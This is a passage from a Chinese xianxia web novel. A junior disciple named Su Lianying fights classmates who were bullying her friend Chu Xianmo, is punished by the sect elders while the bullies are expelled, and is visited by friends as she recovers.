楚纤茉死死抓着自己的袖口,手指被刘慧思一根根往开掰,几乎都要掰折了,刺啦一声——楚纤茉的袖子从肩膀上裂了开来,露出了大半截雪玉似的臂膀,围观人群又发出一阵高呼喝彩声……
刘慧思回头喊道:“西西!你还在发什么愣,过来帮忙啊!”
……
河洛镇,临江仙客栈。
唐书戏瞪着盘子里剩下的最后一只水煎包咽了一下口水,抬头一脸哀怨道:“小师妹,就剩最后一个了你就让我一口解决掉算了吧!”
说着舞动筷子就要去夹,苏潋影也不甘示弱,抢了盘子顶在头上满屋子跑,嘴里喊着:“你都吃了八个了还不够啊?这个我要当夜宵!”
“夜宵吃多了会变胖,让师兄帮你消灭它!绝不能让可恶的肥肉长到师妹你身上!”
苏潋影正跑着跟一个人撞了个满怀,对方手里的点心袋子呼一下就飞了出去,油纸包砰一下砸在地上摔开了花,里面的吃食崩得到处都是,就是没有一块还在纸包里的。
纵然如此,苏潋影还是紧紧护着装水煎包的盘子,而唐书戏见此情景都快哭了,那表情怎一个如丧考妣可以形容,瞪着眼睛直拍大腿:“江荀!你接点心啊,接她干嘛?她又不会摔散架!”
江荀这才回过神来,看苏潋影站稳了连忙退后一步,将适才扶过她的双手背在了身后……苏潋影黑着脸回头瞪唐书戏:“合着就该摔死我呗?我是肉做的,我会疼啊!点心又不会疼!”
“可现在没法吃了啊!”
“谁说的?”
苏潋影紧走两步蹲下来,打开残破的纸包,从里面捻起了最后一块幸存者,当着唐书戏的面丢进了嘴里,嚼了一阵还意犹未尽地吧唧吧唧嘴,拍拍手朝江荀竖起了大拇指:“真香啊,眼光不错,就是有点少了。”
唐书戏全程如同被打懵的鸡,抓着自己的两只耳朵悲愤欲绝,天杀的小师妹啊!都怪当时被这货天真无邪的外表蒙蔽,结果一时不慎上了贼船,如今真是悔不当初,如果再来一次,一定在她说出“师兄好”的那一刻一脚踹飞了她!
说好了每人一天请客,结果轮到她了不是忘带银子了就是喝醉了不辨东南西北,你跟她说城门楼子她跟你扯胯骨肘子,这一回唐书戏实在忍不了了,出发前跟江荀商量好了都不带银子,就不信苏潋影不出钱。江荀这个老实孩子还一直为苏潋影辩解呢,我们是做师兄的,应该的嘛,苏师妹一个女孩子,平时还要买胭脂水粉、衣服首饰,花销比我们大……
你可拉倒吧,人家身后一个山庄支着呢,把我俩全款买下十万次都不带喘气的,她丫的就是扣门罢了。
好说歹说江荀才同意,现在聚完餐又到了结账的时候了,结果苏潋影还是一个钢蹦儿都拿不出来。
这真的不怪她啊,碧梧山庄的钱都由她姐姐管着,每个月就拨给她三瓜两枣的,她还没怎么用就分文不剩了,莲华峰那饭菜又实在是吃腻了,然后她就发现唐、江两位师兄经常下山约饭啊,真是瞌睡来了送枕头!
吃霸王餐肯定是不行了,三人被老板很客气地请到了后厨刷盘子。
那就刷吧,三人撸起袖子开干,现在就庆幸下山换了常服,老板不知道他们是梵净山的弟子,万一把师门的脸丢了回去还得罪加一等,唐书戏看着个头还不到他胸脯的小师妹,冷嘲热讽道:“你会刷盘子吗你?”
然会就听啪嚓一声,苏潋影手里的盘子华丽丽掉在了地上,再也捡不起来了……
门外巡查的老板娘探进来一个头:“摔碎一个多刷一百个!”
江荀连忙抢走了苏潋影手里的另一只盘子。
“小师妹,你到旁边休息吧,你那部分活交给我就好。”
“江师兄,还是让我帮你吧!”
“不用了不用了!师妹你越帮师兄会越忙的……”
苏潋影只好坐到后厨门口去跟老板娘聊天,三言两语把老板娘哄高兴了还得了把瓜子儿。
唐书戏差点气死,边刷边低声骂江荀,自以为很小声都让苏潋影听见了,其实不用听词儿,看哥们那个亢奋的背影、侧头看江荀时呲出来的板牙就知道他有多恨铁不成钢了。
正在这时,打后厨窗户里飞进来一只粉色小纸鹤,扑闪着翅膀一直飞到了苏潋影身边,落在了她肩头,蹦蹦跳跳口吐人言:“不好了!楚楚出事了!”
苏潋影手里的瓜子洒了一地,翻身起来冲到后厨抢了唐书戏的锦瑟剑,丢下一句“借剑一用,江湖救急”头也不回地窜出了客栈,唐书戏站在原地愣了半天才反应过来。
“我靠!她抢我的剑!”
江荀纠正道:“她说了是借。”
“我同意了吗就借?再说了……她不才零阶无邪期吗,她会用剑嘛她……我靠,这么急不会是赶着回山吧?”
江荀也沉下了脸色,把手里的抹布丢进了水盆里,
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甩下一句“会出事的,我去追她”,也是扭头就跑。
“好好好,你们一路小心!”
后厨只剩一个唐书戏和源源不断送进来的盘子,唐师兄吭哧吭哧刷了十几个猛然反应过来!不对啊,你们都把交通工具带走了,我怎么回去啊?
而太曦峰小竹林里,围观的人越聚越多,却只是在旁边看热闹,刚来的不时向旁边的打听发生了什么,议论纷纷仿佛一群马蜂。
中间楚纤茉还在死死拽着自己快要被扯掉的衣袖,胳膊上满是被吴西西抓出来的血痕,她还在叫嚣着:“楚师妹,我这可都是为了你好!你怎么不领情呢?”
她没想到楚纤茉的力气居然这么大,手指快被自己掰断了都不放手,一咬牙召出了腰间的佩剑,打算直接将她的衣袖割成碎片,嘴里却还在阴阳怪气扰乱楚纤茉的心神。
“小师妹,不过就是露出胳膊上的守宫砂而已,又不是让你解衣露躯,你是不是心虚了啊?”
说着她眸光一凛,藏在身后的飞剑发出嗡鸣之声飞刺向楚纤茉,楚纤茉被吴西西死死拽着,根本躲不开近在眼前的锋芒利刃,一咬牙居然是打算徒手去拦截,她的手还没碰到那剑刃,耳边忽然传来金石撞击之声,剑刃被一道碧光挡住了,下一刻,那把剑仿佛被什么东西拽着唰一声朝人群后飞去,众人的视线齐齐随着飞出去的长剑划了一道弧线,纷纷朝后望去,只见一道纤细的碧衣身影,右手握着一条玉色骨鞭,左手捏着一把已经被扭成了麻花的长剑,丢垃圾一样撇向身后。
吴西西目眦欲裂盯着远处的苏潋影,两腮的肌肉抽搐着,尖啸一声冲了过来,早已顾不上楚纤茉了。
“我的素云剑!你敢弄坏我的法宝!看招!”
她两掌中离火之焰腾起三尺高,发丝被火焰气浪冲得向上空飞舞,不过她才跑到一半就停住了,苏潋影几乎眨眼间到了她近前,两手手腕忽然传来如同被烧红的铁丝勒进皮肉里的剧痛,吴西西低头一看,那玉骨鞭不知何时已经缠住了她两只手腕,她慌了一下,随后忽然双脚离地,被一股巨力扯着飞向了半空然后狠狠撞在了一棵树上,跌在地上之后,吴西西还是懵的,只感觉头昏脑胀,一股热流从额头淌了下来,流过眉心挂在鼻尖上她才看清,那是血……
“啊!!!”
吴西西尖叫一声,她的脸啊!这小贱人居然敢毁她倾国倾城的容貌!
“你!你这个杂种!我跟你拼了!”
她甩了一下被鲜血粘住的刘海,爬起来还想再战,刘慧思却从苏潋影身后冲了上来,手中长剑正对着苏潋影后心,吴西西见状眸中闪过一丝得意之色,手中蓄了十成力要置苏潋影于死地。
楚纤茉见状魂飞天外,几乎喊破了嗓子:“小心背后!”
她恨不得立刻冲到苏潋影身后帮她挡下这一剑,可是已经来不及了,眼见剑尖已经拂开了苏潋影垂在背后的长发,下一秒就要刺穿她的血肉,楚纤茉只感觉一口气上不来了,一切都仿佛在她眼前放慢了,心脏似乎被一块巨石压着,她呼吸急促,感觉下一秒心脏就会炸开,身体全部的血液都会从五官七窍里喷溅出来。
忽然之间,苏潋影一收腰提脚,单脚脚腕顺势朝侧边一拧,以众人看不清的速度脑袋向后一倒,身子几乎弯折了九十度,刘慧思那把长剑刺过来根本收不住力道,剑尖贴着苏潋影的腹部擦过去直直刺入了吴西西肚子里……
众人愕然望着眼前这一幕皆傻了眼。
“等等!刚才发生了什么?”
“苏潋影……那姑娘是叫苏潋影吧?不是才入门吗?零阶小师妹这么牛?一打二还占了上风?”
刘慧思惊恐地抽出染血的剑尖,吴西西疼得面容扭曲,捂着流血的伤口踉踉跄跄往回退了几步,哪知道那如毒蛇吐信般的玉骨鞭又横扫了过来,缠上了她的脚腕,又是熟悉的腾空、重重坠地,五脏六腑似乎都移了位,吴西西眼前一阵金星乱晃,哇一声吐出了一口带着内脏碎块的血,手指无力地蜷缩两下,再也爬不起来了。
刘慧思握剑的手颤抖着,目眦欲裂,怒喝一声手中剑直刺苏潋影面门,苏潋影左手一捋长鞭扯住鞭梢,三晃两绕间鞭身绞住了刺向自己的剑刃后绷成一条直线,两相角力中,刘慧思催动二阶游仙期修士全部功力,可悲地发现她拿这个零阶的妖孽毫无办法。
这时她才看清,苏潋影被发丝微微遮住的左瞳似乎是紫色。
55. 心魔大誓
就在这时,苏潋影高抬双臂猛一发力,腰身扭动向一侧翻身,刘慧思没有办法只能跟着她一起翻,几个回合下来,刘慧思的佩剑也被那把邪性的骨鞭绞成了歪七扭八的废铜烂铁,本人腹部挨了苏潋影一脚飞踹被谢乙桥接住了。
谢乙桥看着提着拖地长鞭一步步走来的苏潋影有些发怵,刚才她打两个游仙期跟玩一样,自己也不过比这两人高了一个境界而已,如果真要输给一个零阶小师妹,那真的没脸在山上混了……想到这里清咳一声,色厉内荏道:“苏潋影,差不多得了吧?你重伤同门若是传到潇湘君耳朵里——啊!”
谢乙桥话还没说完脸上已经挨了一鞭子,半边脸迅速肿胀起来,左边的槽牙都活动开了,铁锈味瞬间在唇齿间蔓延开来,他眸露凶光,狠狠朝地上啐了一口带血的唾沫,手中白光一闪出现一把连弩。
刘慧思见苏潋影被拖住,悄悄退到了人群后面,捂住发闷的胸口,脚步匆匆向着太曦峰丹房跑去,本想去找符珂,没想到还有意外收获,花焚熠居然也在,白衣飘飘、端然稳坐,正在跟符珂下棋。
刘慧思扑通一下就跪在了两人面前,哭哭啼啼道:“三师叔、小师叔救命啊!”
符珂转头看向她,听她口称“师叔”,知道是掌门或是沈檀溪座下的弟子,微微一点头:“起来说话,哭哭啼啼成什么样子。”
刘慧思站了起来,哽咽着将事情经过简单说了一遍,自然省去了他们欺负楚纤茉的内容。
“我们不过是和楚纤茉吵了几句,谁知那个苏潋影冲上来就打人,西西都破相了,还被她刺了一剑,求两位师叔快去救救她吧,不然恐怕要出人命了!”
刘慧思说着,目光不时瞟向花焚熠,他不授课的时候总是散着头发,笑起来有些漫不经心,一旦神色严肃则恍若天神,让人不敢直视。
两位峰主对视一眼,示意刘慧思带路,刘慧思喜不自胜,连忙侧身在前引路,以为自己先声夺人,现在已经高枕无忧了。
走得越近惨叫声、喧哗声越是不绝于耳,符珂两道剑眉皱得越发紧了,怒喝一声震得在场弟子都神魂激荡、几乎站不稳身形。
“都给我住手!”
其实真正动手的只有苏潋影一个,谢乙桥正让她抽得满地乱滚、身上清莲袍已经脏得没眼看了,一道血污、一团泥泞,左边脸颊高高肿起,眼睛几乎都睁不开了,饶是就地十八滚还是让苏潋影抽得跟陀螺一样,眼下终于得救了,气喘吁吁趴在地上喘着粗气。
符珂几步走上来朝苏潋影伸手,双目圆瞪、怒喝一声:“拿来!”
苏潋影不情不愿将鞭子交了出去。
“到底是怎么回事?”
苏潋影茫然地摇摇头,老实巴交道:“我不知道。”
符珂差点气吐血,张嘴居然发不出声音来,指着苏潋影的手指都开始哆嗦了,一句话出口拐了几个弯:“不知道发生了什么你就打人啊?你爹妈没教过你君子动口不动手吗?”
苏潋影听了这话理直气壮了起来,扬着脖子撅了回去,恨不得跳起来跟符珂吵:“他们欺负我朋友!我没抽死他们已经算给梵净山面子了!”
符珂乃是一峰之主,梵净山上坐第三把交椅,还从来没有人敢当面这么顶撞他,而他本人又是个火爆脾气,这一下被苏潋影顶得火都拱到旋儿了,扬手就给了她一巴掌,扇得苏潋影一个没站稳转了半圈摔在了地上,身后发丝甩过来全糊在了左脸上。
符珂这一巴掌扇下去仍旧余怒未消,负手而立,脸上肌肉微微颤抖,视线环顾四周,盯得一圈弟子瑟瑟发抖。
“谁先动的手!”
弟子们战战兢兢、不约而同都指向某人。
符珂险些咬碎了牙,当初怎么就把这么个刺儿头招了进来,他还要开口,一个女弟子忽然跑了几步在他面前扑通一下跪了下来,这下跪得让符珂都有些心颤,青石板铺的路面,这下子非得把膝盖磕伤不可,那女弟子似乎也参与了斗殴事件,衣衫不整,用右手捂住左肩头扯破的袖子,抬起头满脸的泪痕,哀声道:“太曦君,都是我的错,您责罚我吧,跟苏苏没有关系,她都是为了我才出手的……”
符珂这人看似软硬不吃,实则最害怕别人哭,尤其是女人哭,而且对方还是个小女孩……要了命了。
花焚熠见师兄头顶的火焰终于被这堪称及时雨一样的眼泪给浇灭了,这才走上前来,双手拢在袖中,笑问道:“莫要哭,说说怎么回事?听完了受害方的说辞,也听听你们这行凶方的辩解。”
楚纤茉闭上眼,深吸了一口气仿佛下定了决心,刚要开口忽然嘴巴被人捂住了,苏潋影抬眸盯着两位峰主,冷声道:“不用说了,我们积怨已久,他们上次还在背后骂我是小杂种,我今天闲来无事这才出手教他们做人!”
花焚熠微微挑起一边的眉毛,符珂又险些呕出一口凌霄血。
“梵净山严禁打架斗殴,重伤同门你还有理了?”
苏潋影抬手制止了楚纤茉的搀扶,晃晃悠悠自己站了起来,雪白的脸蛋上映着一个鲜红的巴掌印,她环视四周,最后落在吴西西等人身上,脸色是从未有过的冷凝,她向来都是笑嘻嘻的,无论是对谁,让人觉得这是一个很活泼可爱的小师妹,但万万没想到小猫有一天露出獠牙居然如此凶残,那冰冷到深不见底的眼神盯得吴西西几人心里不禁发毛,只听她一字一顿道:“今天这事没完。”
吴西西一个哆嗦,忍不住向后退了一步,而刘慧思则是狠狠瞪着苏潋影,恨不得用目光从她身上剜下一块块肉来,狞笑道:“你以为我怕你吗?”
符珂一扬手制止了两拨人,最终下了决断:“都给我闭嘴!你们五个人私下斗殴,触犯门规,全部去秀雪堂领五十戒鞭!此事就此揭过,谁要是再挑衅对方绝不轻饶!“
刘慧思低下了头不再吭声,苏潋影却冷笑一声,缓缓吐出两个字:“休想。”
原本以为无热闹可看了、想要撤离的围观群众纷纷又聚拢了回来,个个朝苏潋影投去了敬畏的目光。
这新人真是头铁,硬刚两位峰主,真不怕被开除仙籍啊!
这时,江荀气喘吁吁跑了过来,眼见符珂、花焚熠两位峰主在场,他血都凉了,连忙拉着苏潋影将她硬生生拽到自己身后,硬着头皮向两位峰主致歉:“三师伯,小师叔,都是弟子不好,今天是弟子生辰,带着小师妹喝
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了几杯,她喝醉了说胡话呢,请师伯师叔不要跟她一般见识,皆是弟子之错,没有看好师妹才让她闯了大祸,弟子甘愿受罚!”
说罢,江荀抬头看了一眼符珂,三师伯依旧面色不虞,再看花焚熠,完了,小师叔怎么好像更生气了,一个劲儿盯着他是怎么个意思?
就在这时,背后的苏潋影又不老实了,挣脱他的手站了出来。
“江师兄,这事跟你没关系,不必为我遮掩,我清醒得很,就算以后不再是你师妹了,我们的交情还在。”
在江荀错愕的目光里,她缓缓抬起左手食、中、无名三指,冰冷而沉重的声音回荡在整片竹林上方。
“我苏潋影在此发下心魔大誓,以后谁要是敢招惹楚纤茉,嘴里说些不干不净、不三不四的,我一定把他的脑袋拧下来,喂狗。”
她抬眸环顾所有人,最后落在符珂和花焚熠身上,淡淡一笑:“您二位放心,杀人之前我一定先退出梵净山,不给门派抹黑,一人做事一人当,”说罢低头苦笑一声,“连朋友都护不住还修个屁的仙。”
花焚熠忽然一笑,凝视着苏潋影低垂的浓密眼睫:“我有说过不管此事了吗?”
符珂见他接手也是松了一口气,最烦处理这些小姑娘之间的矛盾了,微微向花焚熠一拱手:“有劳师弟,我先回丹房了。”
花焚熠回礼微笑:“师兄慢走。”
待符珂远去,花焚熠眸光冷锐看向苏潋影,唇边笑意消失不见:“你私自下山的事我先记着,既然你如此理直气壮,可敢接我问心剑?”
苏潋影扬着脖子上前一步,直直对上花焚熠的眼睛:“敢!”
清言堂上,坐着掌门、潇湘、莲华、芳蔼、鹿鸣几位峰主,听了花焚熠的汇报后,几人皆是面露错愕。
沈檀溪闻言攥得手中折扇咯咯作响:“门派什么时候连这种烂蒜都收上山了,九洲人是死没了吗?”
白荼秀眉紧蹙,冷笑不止:“居然还要两个小姑娘发什么心魔大誓捍卫尊严,真当我们这些峰主是摆着好看的!”
水云仙又气又叹:“三师兄也真是的,怎么能不问青红皂白就动手呢?我一定得让他去跟苏潋影道歉去。”
最后叶静秋才悠然长叹道:“有些人修行过程中难免会误入歧途,既然如此,依门规处理,交由焚熠全权负责。”
“是。”
众峰主在清言堂商议着,弟子们都聚在了云麓天台下,也有不知道发生了何事的,纷纷向周围人打听询问。
而漩涡中心的两拨人依旧乌眼鸡似的瞪着对方,空气中似乎有电光火石在噼里啪啦地碰撞。
就在这时,清言堂庄严肃穆的两扇门向左右拉开,白衣飘飘的花焚熠走到云麓天台前,抬手示意众人肃静,他的目光并未落在任何一人身上,朗声宣布最终决定:“经过掌门与众峰主共同商讨,苏潋影、吴西西等人在太曦峰私下挑衅斗殴,严重违反山规,鉴于苏潋影先动手重伤同门,是以罚戒鞭五十,于藏书阁禁闭一个月,以儆效尤。”
话音落下,众人哗然,吴西西、刘慧思更是喜不自胜,拔高了身子斜睨着面无表情的苏潋影和茫然无措的楚纤茉。
56. 小楼夜话
就听花焚熠又道:“至于青云峰吴西西、刘慧思,还有摇情峰谢乙桥,逐出梵净山!”
说完花焚熠转身离去,留下一干弟子原地石化,个个呆若木鸡,直到一阵嚣张绝伦的大笑声在人群中响起,众人这才回过神来,就见那位主儿笑得蹲在地上起不来,生动形象诠释了什么叫落井下石、拍手称快。
行了行了,我们知道你很高兴,没必要表现得这么欠揍吧?
苏潋影捂着肚子,笑得眼泪都出来了:“嘚瑟啊,你再嘚瑟啊,老子挨鞭子挨死又怎么样?总好过某些人被扫地出门!”
吴西西听闻自己被逐出梵净山早已经面如土色,刘慧思倒还算镇定,很快就接受了现实,扶着吴西西冷眼瞪着苏潋影:“区区梵净山而已,也就你们这些乡巴佬当回事儿,我们才不稀罕。”
这句话也够头铁,得罪了在场所有人,也算是成为众矢之的了。
江荀冷笑道:“忘了提醒各位,被我们梵净山除去仙籍的,从古至今没有别的门派会收留像你们这种弃徒败类,诸位好自为之。”
然后就轮到苏潋影了,在秀雪堂上差点去了半条命,楚纤茉进不去只能在门口干着急,听着戒鞭凌空甩下的风声以及抽打在皮肉上的闷响,虽然里面的人一声不吭,但她知道那有多疼,小时候叔父曾拿蘸水的井绳打她,几乎一鞭下去身上就是一道鼓起来的红痕,若是抽在同一个地方,没几下就会皮开肉绽,她像只小狗一样在不大的院子里到处爬到处躲藏,顾得了这头顾不了那头,将上半身藏进养狗的铁笼子里,露出来的双腿颤抖着暴露在外面……惨叫声、哭泣声、鞭子抽着皮肉上的声音交织在一起,血腥气、狗笼里的腥臭夹杂在一起,无比的刺鼻,她甚至可以闻到自己的眼泪的气息,向或许根本就不存在的神明祈求这场酷刑可以早点结束……
而现在,神明出现了,她在替她受这场惩罚。
楚纤茉不知何时跪在了地上,眼泪仿佛开闸的河水,无声地凝噎,她害怕挨打,害怕丢人,可是却时时不在挨打、时时不在丢人,所以只能忍住惨叫和哀嚎,捡回一点残存的自尊。
秀雪堂的戒鞭哪是凡间的麻绳可以比的,她伸出手,在鞭子破风的抽打声中不由自主地颤抖,仿佛那鞭子落在了自己身上一样。
忽然,她感觉到身后有人,仿佛看见了希望,膝行着来到他面前,一下又一下叩着头,眼泪飞洒在那人白靴落地的周遭。
“嫣雨君,都是我的错,求您不要责罚苏苏,罚我吧!”
花焚熠并没有看她,目光平视着前方庄严肃穆的秀雪堂,又似乎是在穿过眼前一切障碍看别的东西,语调无波无澜道:“起来吧,你是受害者,于情于理都不能受罚,木秀于林风必摧之,今日之事也是给她一个教训,你不必再求情。”
楚纤茉看着他渐行渐远仿佛被抽干了所有力气,忽然间,花焚熠又一回眸,淡声道:“若是不想今日之事重现,那就保护好自己,你是个聪明的姑娘,知道该怎么做。”
言毕径自离开。
楚纤茉还跪在原地,就在这时,秀雪堂里的鞭子停了,她起身朝堂内风一般跑去,眼泪全部被甩在身后……
我何德何能,能有一位这样的朋友?
苍天啊,你是否也觉得我太过可悲,所以派了这样一个人陪在我身边?
今日之事,绝不要再发生第二次,以后哪怕是粉身碎骨,也要保护好她。
逍遥峰,梦蝶楼。
江荀揣着一小罐伤药,敲开那间灯光明亮的房门时,里面已经有许多先来先到者了,茶几边坐着林瑶、宫玄烛,饭桌旁是叶斐、郁霄、盛祁星,床上趴着穿着白色寝衣、盖着一床薄被子的苏潋影,床边坐着眼圈通红如同烂桃儿的楚纤茉。
江荀还没开口正主儿先发话了。
“什么表情?什么表情啊?怎么个个进来好像我死三天了一样?”
宫玄烛不服,举手反驳道:“我没有!我纯粹是过来看热闹的。”
苏潋影白眼都快翻到天上去了,闷声闷气道:“行了行了,我知道你没心没肺,不用特意强调了吧?”一转头伸长了胳膊连忙招呼道,“江师兄快来坐,东西放在梳妆台上就好。”
江荀迈步踏入房间,反手阖上了门,楚纤茉连忙又搬出一只小凳子来,苏潋影现在动弹不得,指挥起来楚纤茉更加得心应手了,双手托腮看着她忙前忙后的身影,笑嘻嘻道:“等哪天你生病了我也这么伺候你。”
盛祁星磕着瓜子忍不住白了一眼:“哪有咒人家生病的啊?”
苏潋影忽然一拍床帮看向江荀:“哎呀!我们是不是把唐师兄给忘了?”
江荀一直顾着苏潋影,这会儿才想起来好兄弟,也是脸色一变,刚想起身去接,谁知门又被敲响了,这次进来的的确是风尘仆仆的唐书戏。
苏潋影连忙拱手道歉:“实在是不好意思啊唐师兄,事发突然……那个,你是咋回来的?”
唐书戏若不是看她有伤在身真恨不得捶她一顿,又恨恨瞪向了重色轻友的某师弟,江荀假装没看见师兄愤恨的眼神,低头默默喝着已经空掉的茶。
“还能怎么回来,租了一把飞剑呗!我靠,小师妹你怎么回事?平时欺负我和小熊那劲头上哪去了?怎么还能让谢乙桥那群货坑得跟三孙子似的?”
江荀黑了脸,不知多少次郑重强调道:“请不要叫我小熊!”
除了林瑶几乎所有人异口同声地回答:“哦,知道了小熊~”
江荀:……
毁灭吧我累了。
林瑶看着江荀颓丧的神色有些不忍,手指轻轻绕着垂在腰际的发辫,不合时宜地开口:“那个,给别人起绰号不太好吧,大家都是朋友,以后还是不要这样了……”
江荀向她投去了感激涕零的目光。
宫玄烛却忍不住扶额,真不想让别人知道自己和林瑶是师姐妹啊,丢人!这踏马就是国师教出来的得意弟子,情商好像被狗吃了!为了防止满屋子人尴尬到抠穿四楼天花板,宫玄烛连忙接话:
“申明一下,我们大师姐不是茶,纯粹是让我们那位伟大的师父改编的四大名著给侵蚀入脑了。”
苏潋影举手问道:“什么四大名著啊?”
“豌豆公主、野天鹅、海的女儿and青蛙王子。”
苏潋影略显好奇,看向宫玄烛,低声询问道:“可否给我们展开讲讲?”
宫玄烛嫌弃地摆摆手:“讲那玩意儿干什么,晦气!这么好奇我给你讲讲大概的主旨啊。”
她清清嗓子道:“总而言之呢,我师父对林瑶的教育理念……应该说是洗脑过程大概是这样的……”
她坐到床边,抚摸着苏潋影的脑袋,语重心长且用善意的目光看着她,语调十分温柔可亲:“苏苏,你要记住,你是一位真正的神女,无论是在人前还是人后,都要保持神女高贵的品行,遇到任何困难都不可以轻言放弃,对待任何人都要一视同仁,别人的父母也是你的父母,别人是孩子也是你的孩子,要用爱去感化邪恶的人,要用行动去救赎那在深渊中挣扎着的我们的同胞!苏苏,你是人界的希望,六界的未来,你要记住,你拥有的力量是无穷无尽的,世间所有的邪恶都将因为你的努力而败退、消减,当你努力将善意与光明赠予每一个人时,你本身就是一束光!你要记住,你不是一个人在战斗,当你感觉自己累了,失去了前行的力量,蓦然回首之际,就会发现有千千万万人与你同行!”
“好!说得好!”
“再来一个!”
周围响起一片掌声与喝彩,被洗脑的苏潋影眼睛里浮现一片清澈愚蠢的光芒,随后连忙摇摇头捂住胳膊上跳舞的鸡皮疙瘩。
宫玄烛冷笑:“这就受不了了,林瑶可是从小听这套听到大的,而且我师父连一个标点符号都不会改一下,足足说了十八年啊我真的哭死……”
林瑶气得脸都红了,噌一下站起来,跺着脚冷哼道:“宫玄烛你,你又拿我寻开心!我再也不理你了!”
说罢她转身就离开了。
宫玄烛朝众人无奈地摊摊手,露出个“你们看吧”的表情,随后摇摇头笑道:“兔子急了还会咬人呢,我们大师姐急了只会喵喵叫。”
苏潋影朝离开的林瑶投去了同情的目光,想起宫玄烛之前的话疑惑道:“不对啊,瑶瑶姐不是才十七岁嘛?”
盛祁星和楚纤茉连忙将林瑶拉了回来,林瑶也不好意思真的离开,半推半就又坐了回去,只是低着头默默剥瓜子,她也不吃,就那样将瓜子仁在盘子里剥了一堆,便宜了旁边的盛祁星。
宫玄烛掩面痛哭:“从胎教开始的啊,据说我那可怜的伯母足足瘦了十斤,为了躲着国师只能到处借宿,怀孕九个月愣是不敢回自己家。”
苏潋影从旁边楚纤茉手里抓过一撮瓜子边磕边道:“这么惨的嘛,那林伯父是什么反应?”
宫玄烛拍拍苏潋影的脑袋:“倒杯茶来,要不然下半场收费了啊。”
苏潋影那表情怎一个无语了得:“要不我再下厨给你炒两盘菜呗?”
“你要是有这份孝心那就再好不过了。”
盛祁星拍了她一巴掌递过一盏茶:“赶紧喝,喝完快讲,磨磨蹭蹭的!”
宫玄烛润了嗓子又继续扯淡:“当时给我伯父吓坏了,以为国师要跟他抢媳妇儿,殊不知我们国师只是单纯的想抢走他女儿罢了。”
盛祁星插嘴:“抢人家女儿也不行啊。”
宫玄烛拍着大腿:“谁说不是呢,但
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我们国师是个头子,要不是当时惠王拼命拦着,他都能住人家里去,好家伙,那一日三餐都是自己亲手做的,亲自端到我伯母床边去,每天一下朝朝服不换就往人家家里跑,我林伯父,八十万禁军教头愣是跑不过他,国师就这么献殷勤献了九个月,我伯母都快移情别恋了,结果孩子一生下来国师就开始天天对她女儿献殷勤了,好家伙,又是风雨无阻天天往林家跑,非说人家乳母指甲缝里有食物残渣,愣逼着人洗上三遍手才能抱孩子。孩子哭一声我林伯母还没怎么样了,乳母已经被他骂哭了。”
盛祁星已经笑得前仰后合了,椅子随着她身体的大幅度后仰险些倒下,被叶斐连忙扶住了。
苏潋影笑得气喘吁吁,眼泪都出来了:“那后来呢?”
宫玄烛嘴角微微抽搐接上话茬:“后来,林瑶会说话了第一声喊的是师父,当时给国师激动得泪流满面下令全城摆宴开席,那些人是连吃带拿,城里摆大宴他们搁家里摆小宴,你说说,我们怎么就没赶上这好时候呢?”
盛祁星疑惑道:“为什么尹前辈待林师妹这般倾尽一切?”
宫玄烛摆摆手,目光中多少带点鄙夷:“我估计那家伙算命算魔怔了,非说林瑶是什么神女转世,能拯救苍生云云,以为自己多聪明呢,未卜先知,其实一脑袋大米粥。”
别人听过也就算了,唯有林瑶,一直到回了缥缈峰,进了自己房间,洗漱完熄灯躺下,脑海里都是四个字在打转。
倾尽一切……倾尽一切……
翻来覆去睡不着,轻叹一声又爬了起来,摸黑打开了琉璃灯,来到镜前坐下,将长发揽到胸前,抬手绕到脖颈后想取下挂在脖子上的一样物什,但心念一转又停下了,手指勾着黑珠线编制的细绳,大概是想将藏在衣领里的东西勾出来看看,却最终也没有取出。
睡意全无,撑着额头对镜枯坐,镜中人长发披散、纤细凄冷,轻轻蹙着眉、纤长的眼睫低垂着。
桌上堆满了各种传音纸鹤,但是林瑶硬是逼着自己一只也不打开听,更没有回过话。
在她看来,或许这样才是最正确的选择,时间长了,也许尹星灯能放下执念,成全她对无情道的执着。
但真正踏上无情道的修士,又怎么会轻易被俗物扰乱心神呢?
她也明白这个道理,起先想着一把火烧了那些纸鹤,但又觉得这或许是对自己的考验,她索性就自负地堆在梳妆台前,每天都能看见。
那块玉佩她在一发现的时候就想取掉,但也因为同样的理由一直留了下来,既不取下,也从来不看一眼。
任何人、任何东西,于她而言都应该是无关紧要、并无不同的,今日心神会乱,还是因为自己的道心不够坚定,终有一日……
“我可以心无旁骛,不生任何杂念。”
白天她尚能控制住自己的心神,上课练剑、读书写字转移注意力,可是一到晚上就不行了,梦境一如从前将她折腾得死去活来,现在她宁愿梦见妖魔鬼怪、魑魅魍魉,也不想梦见尹星灯了,即便有后者的梦境她能安稳地睡到天明,可代价就是心境的品阶久久停滞不前,卡在一品已经小半年了,但她还不能着急,修炼心境比提升修为更为困难,全靠自己的悟性和上天所赐的机缘,一个不小心就会着相,走火入魔功亏一篑。
林瑶起身在铜盆里净手后往兽炉里加了两片檀香,房间里清香缭绕令人不由地心平气和下来,她端坐在长条书案后的竹编蒲团上,五心朝天闭上了双眼,并不修炼,而是放空一切,嗅着缥缈的檀香,想象着自己站立在明月洒落、波涛汹涌的海边,海风吹起雪白的浪花不停冲刷着她的鞋面和裙角,冰凉的海水似乎浸透了她的鞋袜,自脚趾泛起彻骨的寒意,她试着沿着银色的柔软沙滩向前走,身后留下一串浅浅的脚印,又被漫上岸的海水冲刷干净,她沿着海岸线不停地走着,有时会遇到一棵高大的椰子树、有时会遇到一只横行霸道的小螃蟹……
檀香燃尽之时,海风的咸腥味也没有了,海边的林瑶不知走出了多远的距离,又回到了明月升起的地方,环顾四周,自己在沙滩上没有留下任何足迹。
这便是踏雪无痕吗?
她摊开在膝盖上的双手缓缓抬起,随之深深吸气,手掌抬平到胸口又同时向内翻转、向下压去,逼出了丹田中的一口浊气。
重新睁开的双眼满是清明,再无迷茫。
人活一世,都像是行走在沙滩上的旅客,无论多想去留下独属于自己的痕迹,最终皆会被时光抹去,除了那些经天纬地、精才绝艳之人,庸庸碌碌之辈又有谁能记得?
道虽无情,却是为了做出更有意义的事情而坚定不移、一往无前,他虽多情,我却不想沉沦于风花雪月之中蹉跎韶华。
……
57. 浮香刺枚
河洛镇的牌坊逐渐远去,嘈杂喧嚣的人声也渐渐消弭,刘慧思拿出一只小瓷罐,解开吴西西绑在额头的纱布给她上药,这伤若是在蘅泽峰上不出两天也就完全好了,肯定连个印子都留不下,可是现在只能慢慢拿凡间的药膏调治,也不知何年何月才能好。
